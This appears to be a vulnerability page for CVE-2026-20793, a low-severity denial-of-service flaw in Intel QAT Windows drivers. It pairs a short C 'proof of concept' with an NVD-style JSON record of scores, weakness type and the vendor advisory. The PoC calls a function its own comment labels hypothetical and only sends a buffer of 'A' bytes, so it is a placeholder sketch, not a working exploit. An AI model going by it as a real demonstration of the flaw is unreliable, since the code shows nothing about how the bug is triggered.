CVE-2026-20793

#include <windows.h> #include <stdio.h> // Hypothetical function representing the vulnerable driver API extern int QAT_ProcessData(void* data, size_t len); int main() { printf("PoC for CVE-2026-20793: Triggering Unchecked Return Value\n"); // Prepare data that might cause the internal function to fail // (e.g., invalid size or specific pattern based on reverse engineering) unsigned char trigger_data[1024]; memset(trigger_data, 0x41, sizeof(trigger_data)); printf("Sending payload to QAT driver...\n"); // Call the vulnerable function // In the vulnerable version (< 1.13), the return value might indicate failure // but the driver/user application state might become unstable if not checked. int ret = QAT_ProcessData(trigger_data, sizeof(trigger_data)); // Vulnerability simulation: The code proceeds regardless of 'ret' // If 'ret' signaled an internal error, the system may now be unstable. if (ret != 0) { // In a real exploit, we might ignore this or trigger a follow-up action // that relies on the state being corrupted. printf("Function returned error code: %d (Ignored in vulnerable version)\n", ret); } printf("Payload sent. If successful, the system may experience a DoS.\n"); return 0; }

{"cve": {"id": "CVE-2026-20793", "sourceIdentifier": "[email protected]", "published": "2026-05-12T17:16:18.943", "lastModified": "2026-05-15T20:04:35.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unchecked return value for some Intel(R) QAT software drivers for Windows before version 1.13 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (low) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-252"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intel:quickassist_technology:*:*:*:*:*:windows:*:*", "versionEndExcluding": "1.13.0-0021", "matchCriteriaId": "33320669-6E22-4E76-988F-0FD0E3184A80"}]}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01387.html", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}